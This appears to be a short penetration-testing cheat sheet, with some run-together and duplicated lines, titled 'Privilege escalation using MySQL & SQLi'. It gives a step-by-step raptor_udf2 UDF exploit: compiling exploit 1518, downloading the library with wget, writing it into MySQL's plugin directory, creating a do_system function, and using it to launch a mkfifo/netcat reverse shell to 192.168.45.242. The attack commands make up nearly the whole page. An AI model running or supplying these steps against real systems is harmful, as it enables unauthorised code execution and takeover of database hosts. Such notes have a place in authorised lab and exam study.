Privilege escalation using MySQL & SQLi
mysql --version




Last updated
mysql --version




Last updated
searchsploit -m 1518
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc# Make sure server is running at port 80.
wget http://192.168.45.242/raptor_udf2.socreate table foo(line blob); insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.242 80 >/tmp/f" >> shell.shsudo rlwrap nc -lnvp 80select do_system('/bin/bash /tmp/shell.sh');